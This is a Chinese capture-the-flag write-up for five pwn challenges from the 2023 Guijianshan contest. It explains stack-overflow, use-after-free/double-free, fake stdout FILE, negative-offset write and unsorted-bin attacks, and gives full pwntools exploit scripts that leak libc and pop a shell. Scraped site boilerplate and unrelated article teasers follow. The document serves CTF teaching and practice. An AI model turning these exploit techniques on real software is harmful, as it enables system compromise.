[古剑山2023] pwn

最近这个打stdout的题真多。这个比赛没打。拿到附件作了一天。

choice

32位,libc-2.23-i386,nbytes初始值为0x14,读入0x804A04C 0x14字节后会覆盖到nbytes 1个字节。当再次向v1读入nbytes字节时会造成溢出。

先写0x14+p8(0xff)覆盖到nbytes然后溢出写传统的两回合puts(got.puts) ,system(bin/sh) 

from pwn import *elf = ELF('./choice')
libc = ELF('./libc-2.23.so')
p = process('./choice')
context(arch='i386', log_level='debug')p.sendafter(b"Please enter your name:\n", b'A'*0x14 + p8(0xff)) #nbytes=0xffpay = flat([b'\x00'*(28+4), elf.plt['puts'], 0x804857b, elf.got['puts']])p.sendlineafter(b"3. Study hard from now\n", b'2')
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.recvuntil(b"Good bye!\n")
libc.address = u32(p.recv(4)) - libc.sym['puts']
print(f"{libc.address = :x}")pay = flat([b'\x00'*(28+4), libc.sym['system'], 0x804857b, next(libc.search(b'/bin/sh\x00'))])
p.sendafter(b"Cool! And whd did you choice it?\n", pay)p.interactive()

uafNote

标准的菜单堆题有add,free,show, libc-2.23都是低版本的libc有点像是古代的题重拿回来了。

在free没有清指针有UAF,通过名字也能知道。add建块也没有大小限制,所以直接建0x80的块释放show得到libc地址,然后1-2-1进行double free在malloc前利用错位的0x7f建块在malloc写one

void delete()
{unsigned int num; // [rsp+Ch] [rbp-4h]printf("index:");num = read_num();if ( num <= 0xF )free((void *)ptr_table[num]);
}
from pwn import *elf = ELF('./uafNote')
libc = ELF('./libc-2.23.so')def add(size,msg=b'A'):p.sendlineafter(b">> ", b'1')p.sendlineafter(b"size:", str(size).encode())p.sendlineafter(b"content:", msg)def free(idx):p.sendlineafter(b">> ", b'2')p.sendlineafter(b"index:", str(idx).encode())def show(idx):p.sendlineafter(b">> ", b'3')p.sendlineafter(b"index:", str(idx).encode())p = process('./uafNote')
context(arch='amd64', log_level='debug')add(0x80)
add(0x60)
add(0x60)free(0)
show(0)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x68 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")#double free  malloc->one
one = [0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + one[1] 
free(1)
free(2)
free(1)
add(0x60, p64(libc.sym['__malloc_hook'] - 0x23))
add(0x60)
add(0x60)
add(0x60, b'\x00'*0x13 + p64(one_gadget))#
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"size:", b'8')p.interactive()

bss2019

这是2019年的题吧,先给了加载地址,相当于没开pie

__int64 __fastcall main(int a1, char **a2, char **a3)
{setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);puts("Gift:");printf("%p\n", &unk_202060);sub_9E0();return 0LL;
}

然后进入菜单,1是show,可以指定负值,2是edit也可以指定负值最小-64

基地址0x202060的前边0x202020就是stdout通过造一个fake_io_file,然后把stdout指过来。也算是个板子题了。

from pwn import *elf = ELF('./bss2019')
libc = ELF('./libc-2.23.so')
context(arch='amd64', log_level='debug')p = process('./bss2019')p.recvuntil(b"Gift:\n")
elf.address = int(p.recvline(),16) - 0x202060p.sendlineafter(b"Choice:", b'1')
p.sendlineafter(b"Offset:\n", b'-64')
p.recvuntil(b"This is your data:\n")
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['_IO_2_1_stdout_']
print(f"{elf.address = :x} {libc.address = :x}")#gdb.attach(p, "b*0x0000555555400b65\nc")
io_file  = b' sh;'+p32(0) + p64(0)*4 + p64(1)
io_file  = io_file.ljust(0x88,b'\x00') + p64(elf.address + 0x202200)
io_file  = io_file.ljust(0xd8,b'\x00') + p64(elf.address + 0x202050 + 0xd8)  #ptr->self
io_file += b'\x00'*0x30 + p64(libc.sym['system'])p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-16')
p.sendlineafter(b"Size:\n", str(len(io_file)).encode())
p.sendlineafter(b"Input data:", io_file)p.sendlineafter(b"Choice:", b'2')
p.sendlineafter(b"Offset:\n", b'-64')
p.sendlineafter(b"Size:\n", b'8')
p.sendlineafter(b"Input data:", p64(elf.address +0x202050))p.interactive()
'''
0x555555602020 <stdout>:        0x0000555555602050      0x0000000000000000
0x555555602030 <stdin>: 0x00007ffff7bc48e0      0x0000000000000000
0x555555602040 <stderr>:        0x00007ffff7bc5620      0x0000000000000000
0x555555602050: 0x000000003b687320      0x0000000000000000  <-- ' sh;\0\0\0\0\'
0x555555602060: 0x0000000000000000      0x0000000000000000
0x555555602070: 0x0000000000000000      0x0000000000000001
0x555555602080: 0x0000000000000000      0x0000000000000000
0x555555602090: 0x0000000000000000      0x0000000000000000
0x5555556020a0: 0x0000000000000000      0x0000000000000000
0x5555556020b0: 0x0000000000000000      0x0000000000000000
0x5555556020c0: 0x0000000000000000      0x0000000000000000
0x5555556020d0: 0x0000000000000000      0x0000555555602200  <-- 指向0
0x5555556020e0: 0x0000000000000000      0x0000000000000000
0x5555556020f0: 0x0000000000000000      0x0000000000000000
0x555555602100: 0x0000000000000000      0x0000000000000000
0x555555602110: 0x0000000000000000      0x0000000000000000
0x555555602120: 0x0000000000000000      0x0000555555602128  <--指向自己
0x555555602130: 0x0000000000000000      0x0000000000000000
0x555555602140: 0x0000000000000000      0x0000000000000000
0x555555602150: 0x0000000000000000      0x0000000000000000
0x555555602160: 0x00007ffff7845390   <-- system
'''

前两天一个c00edit也是这个stdout的题一并拿过来

c00edit

菜单题,但是只有add和edit两个功能

__int64 __fastcall main(const char *a1, char **a2, char **a3)
{__int64 v3; // rdx__int64 result; // raxwhile ( 2 ){sub_12A9();switch ( sub_12FE(a1, a2) ){case 1LL:m1add();continue;case 2LL:case 4LL:a1 = "Not implemented!";puts("Not implemented!");continue;case 3LL:m3edit((__int64)a1, (__int64)a2, v3);continue;case 5LL:result = 0LL;break;default:puts("invalid choice");result = 0xFFFFFFFFLL;break;}break;}return result;
}

add先建一个管理块,管理块是size,ptr 。edit在idx和offset都没限制负值,所以可以前溢出,唯一麻烦的是每次只能写8字节。如果写stdout也就只能改一个位置。

int __fastcall sub_13CA(__int64 a1, __int64 a2, __int64 a3)
{const char *v3; // rdi__int64 v4; // rdx__int64 v5; // rbp__int64 v6; // rbxint result; // eaxv3 = "No chance!";if ( dword_40E0 > 16 )return puts(v3);__printf_chk(1LL, "Index: ", a3);v3 = "Invalid index!";v5 = sub_12FE(1LL, "Index: ");if ( !*((_QWORD *)&qword_4060 + v5) )return puts(v3);__printf_chk(1LL, "Offset: ", v4);v6 = sub_12FE(1LL, "Offset: ");if ( v6 + 7 >= **((_QWORD **)&qword_4060 + v5) ){v3 = "Invalid offset!";return puts(v3);}__printf_chk(1LL, "Content: ", v6 + 7);result = read(0, (void *)(*(_QWORD *)(*((_QWORD *)&qword_4060 + v5) + 8LL) + v6), 8uLL);++dword_40E0;return result;
}

首先利用指针前溢出指向stdout,在stdout头部的标识和指针当作是管理块的地址利用负偏移修改头和io_write_end输出得到libc

#0x7ffff7e1a780 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ffff7e1a803

然后再将这个位置改到environ输入栈地址,由于栈地址比较远需要输出的部分较长。

然后建个块,把管理块的指针改为栈的返回地址,直接写rop

from pwn import *p = process('./chall')
libc = ELF('./libc.so.6')context(arch='amd64', log_level= 'debug')def add():p.sendlineafter(b"Your choice: ", b'1')def edit(idx,off,msg):p.sendlineafter(b"Your choice: ", b'3')p.sendlineafter(b"Index: ", str(idx).encode())p.sendlineafter(b"Offset: ", str(off).encode())p.sendafter(b"Content: ", msg)#0x7ffff7e1a780 <_IO_2_1_stdout_>:       0x00000000fbad2887      0x00007ffff7e1a803
edit(-8, -0x83, p64(0xfbad1887))
edit(-8, -0x83+0x28, p8(0x10))   #_IO_write_end p.recv(5)
libc.address = u64(p.recv(8)) - 0x21ba70
print(f"{ libc.address = :x}")#gdb.attach(p, "b*0x555555555180\nc")edit(-8, -0x83+0x28, p64(libc.sym['environ']+8))
stack = u64(p.recvuntil(b'1. add', drop=True)[-8:]) - 0x120
print(f"{ stack = :x}")pop_rdi = libc.address + 0x000000000002a3e5
rop = [pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system']]
for i in range(len(rop)):add()edit(i, -0x18, p64(stack + i*8))edit(i, 0, p64(rop[i]))p.sendlineafter(b"Your choice: ", b'5')
p.interactive()

fake

这题据说是个0解题,终于解出来。

一个菜单题,但建块的大小是固定的0x1000,并且没有show,释放后会进入unsort再建块会用掉,而且unsort attack由于并未得到libc所以也就无法修改global_max_fast也就无法用fastbin attack.

这里有一个不常用的攻击unsort attack一般情况下通过修改bk会在指定位置写一个指针(unsort寺址)这个地址是固定的,所以一般无法直接实现攻击。

先看正常情况下的unsort结构,释放到unsort的块fp,bk两个指针指向4b78的位置,在4b88的位置也有两个指针指向释放到unsort的块。实际上只使用bk这个指针。

首先进行unsort attack在0x60b018的位置写入一个指针区的地址,将来会有一个4b78的值会写到指针区,控制4b78开始的一块区域。

 

有开始的时候写passwd时可以在0x6020f0写个0x1010作为头标识(unsort建块时会检查头大小)将0x6020e8作为unsort的块,那么刚写的这个指针就在bk的位置

 

这时候heap[0]可以控制unsort的指针区,修改指针区,让他指向6020e8,这时候就作成了一个伪造好的unsort

这时候再建块就会建到伪造的heap指针区前边,控制指针区,也就可以达到任意读写的目的了。

后边直接写3个指针,一个指向got.free 将来把它改成plt.puts+6得到libc,第2个指针指向puts将来泄露用,第3个指针指向/bin/sh,将free改成system后直接释放它得到shell

from pwn import *elf = ELF('./fake')
libc = ELF('./libc-2.23.so')def add(idx,msg=b'A'):p.sendlineafter(b'Your choice:', b'1')p.sendlineafter(b"Index:", str(idx).encode())p.sendlineafter(b"Content:", msg)def free(idx):p.sendlineafter(b'Your choice:', b'3')p.sendlineafter(b"Index:", str(idx).encode())def edit(idx, msg):p.sendlineafter(b'Your choice:', b'2')p.sendlineafter(b"Index:", str(idx).encode())p.send(msg)p = process('./fake')
context(arch='amd64', log_level='debug')p.sendafter(b"Enter your password:\n", flat(0,0,0x1010))add(0)
add(1)
free(0)edit(0, flat(0,0x6020f0))
add(2)
edit(0, flat(0,0,0x6020e8,0x6020e8))
add(3, flat(0,0x602018,0x602020,0x602118, b'/bin/sh\x00'))
#0->got.free 1->got.puts
edit(0, p64(elf.plt['puts']+6)[:-1]) #free->puts
free(1)
libc.address = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc.sym['puts']
print(f"{ libc.address = :x}")edit(0, p64(libc.sym['system'])[:-1]) #free->systemfree(2)
p.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/215368.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录一次postgresql临时表丢失问题

项目相关技术栈 springboot hikari连接池pgbouncerpostgresql数据库 背景 为了优化一个任务执行的速度&#xff0c;我将任务的sql中部分语句抽出生成临时表&#xff08;create temp table tempqw as xxxxxxxxx&#xff09;&#xff0c;再和其他表关联&#xff0c;提高查询速…

三翼鸟2023辉煌收官, 定盘2024高质量棋局

最近在不同平台上接连看到这样的热搜话题&#xff1a;用时间胶囊记录2023的自己、2023年度问答、2023十大网络流行语公布… 显然&#xff0c; 2023年进入最后一个月&#xff0c;时间匆匆&#xff0c;这也意味着又到了总结过去和规划未来的时候。拿到结果、取得成绩当然是对202…

短视频引流获客系统:引领未来营销的新潮流

在这个信息爆炸的时代&#xff0c;短视频已经成为了人们获取信息的主要渠道之一。而随着短视频的火爆&#xff0c;引流获客系统也逐渐成为了营销领域的新宠。本文将详细介绍短视频引流获客系统的开发流程以及涉及到的技术&#xff0c;让我们一起来看看这个引领未来营销的新潮流…

华清远见作业第二十四天

使用消息队列完成两个进程之间相互通信 代码 #include<stdio.h> #include<string.h> #include<stdlib.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/ipc.h> #include <sys/msg.h> #in…

k8s一键部署uniswap

1、拉取uniswap源码 github地址 2、编写Dockerfile并打镜像 # Set the base image FROM node:18.10.0# WORKDIR /usr/src/app/ WORKDIR /home/gateway# Copy files COPY ./ /home/gateway/# Dockerfile author / maintainer LABEL maintainer"Michael Feng <mikehummi…

Java最全面试题专题---2、Java集合容器(2)

Map接口 说一下 HashMap 的实现原理&#xff1f; HashMap概述&#xff1a; HashMap是基于哈希表的Map接口的非同步实现。此实现提供所有可选的映射操作&#xff0c;并允许使用null值和null键。此类不保证映射的顺序&#xff0c;特别是它不保证该顺序恒久不变。 HashMap的数据…

C语言-枚举

常量符号化 用符号而不是具体的数字来表示程序中的数字 枚举 用枚举而不是定义独立的const int变量 枚举是一种用户定义的数据类型&#xff0c;他用关键词enum以如下语法来声明&#xff1a; enum枚举类型名字{名字0&#xff0c;…&#xff0c;名字n}&#xff1b; 枚举类型名…

外包干了3年,技术退步太明显了。。。。。

先说一下自己的情况&#xff0c;本科生生&#xff0c;18年通过校招进入武汉某软件公司&#xff0c;干了差不多3年的功能测试&#xff0c;今年国庆&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落!而我已经在一个企业干了四年的功能…

6_CSS布局之浮动的应用

day06_CSS布局之浮动的应用 本课目标&#xff08;Objective&#xff09; 理解什么是浮动掌握浮动的三种机制掌握浮动的案例应用 1 CSS 布局的三种机制 CSS 提供了 3 种机制来设置盒子的摆放位置&#xff0c;分别是普通流&#xff08;标准流&#xff09;、浮动和定位。 普通流…

HarmonyOS开发:回调实现网络的拦截

前言 基于http封装的一个网络库&#xff0c;里面有一个知识点&#xff0c;在初始化的时候&#xff0c;可以设置请求头拦截和请求错误后的信息的拦截&#xff0c;具体案例如下&#xff1a; et.getInstance().init({netErrorInterceptor: new MyNetErrorInterceptor(), //设置全…

web网络安全

web安全 一&#xff0c;xss 跨站脚本攻击(全称Cross Site Scripting,为和CSS&#xff08;层叠样式表&#xff09;区分&#xff0c;简称为XSS)是指恶意攻击者在Web页面中插入恶意javascript代码&#xff08;也可能包含html代码&#xff09;&#xff0c;当用户浏览网页之时&…

关于北京医学sci论文翻译

在医学领域&#xff0c;翻译论文是一项非常重要的工作。医学论文的翻译需要准确、专业、严谨&#xff0c;同时也需要考虑到医学领域的特殊性和复杂性。那么&#xff0c;如何翻译医学论文呢&#xff1f;北京医学SCI论文翻译哪家好呢&#xff1f; 首先&#xff0c;需要具备专业的…

多目标跟踪数据集

目录 DanceTrack数据集 自己改进的可视化代码: DanceTrack数据集 DanceTrack 是一个大规模的多对象跟踪数据集。用于在遮挡、频繁交叉、同样服装和多样化身体姿态条件下对人进行跟踪。强调运动分析在多对象跟踪中的重要性。 GitHub地址:https://github.com/DanceTrack/Dan…

python自动化测试实战 —— 单元测试框架

软件测试专栏 感兴趣可看&#xff1a;软件测试专栏 自动化测试学习部分源码 python自动化测试相关知识&#xff1a; 【如何学习Python自动化测试】—— 自动化测试环境搭建 【如何学习python自动化测试】—— 浏览器驱动的安装 以及 如何更…

swing快速入门(五)

注释很详细&#xff0c;直接上代码 上一篇 本篇新增内容&#xff1a; 1.布局管理器BorderLayout 2.自适应尺寸方法pack() import java.awt.*; public class swing_test_3 {public static void main(String[] args) {Frame framenew Frame("演示BorderLayout");//…

cordic 算法学习记录

参考&#xff1a;b站教学视频FPGA&#xff1a;Cordic算法介绍与实现_哔哩哔哩_bilibili FPGA硬件实现加减法、移位等操作比较简单&#xff0c;但是实现乘除以及函数计算复杂度高且占用资源多&#xff0c;常见的计算三角函数/平方根的求解方式有①查找表&#xff1a;先把函数对应…

JVM面试连环炮:你准备好迎接挑战了吗?

在Java开发领域&#xff0c;JVM面试一直是一个热门话题。作为一名优秀的开发者&#xff0c;你是否已经准备好迎接这场挑战了呢&#xff1f;今天&#xff0c;我们就来深度解析一下JVM面试的热点问题&#xff0c;帮助你更好地应对面试&#xff0c;一举拿下offer&#xff01; 1、…

vim + ctags 跳转, 查看函数定义

yum install ctags Package ctags-5.8-13.el7.x86_64 already installed and latest version 创建 /home/mzh/pptp-master/tags.sh #!/usr/bin/shWORKDIR/home/mzh/pptp-masterfind ${WORKDIR} -name "*.[c|h]" | xargs ctags -f ${WORKDIR}/tags find /usr/inclu…

mysql数据库学习笔记(1)

今天开始学mysql数据库&#xff0c;为什么要学这个呢&#xff0c;因为数据库可结构化存储大量的数据信息&#xff0c;方便用户进行有效的检索和访问。数据库可有效地保持数据信息的一致性、完整性、降低数据冗余。数据库可满足应用的共享和安全方面的要求&#xff0c;把数据放在…

java--认识异常、自定义异常

1.异常体系 Error&#xff1a;代表的系统级别错误(属于严重问题)&#xff0c;也就是说系统一旦出现问题&#xff0c;sun公司会把这些问题封装成Error对象给出来&#xff0c;说白了&#xff0c;Error是给sun公司自己用的&#xff0c;不是给我们程序员用的&#xff0c;因此我们开…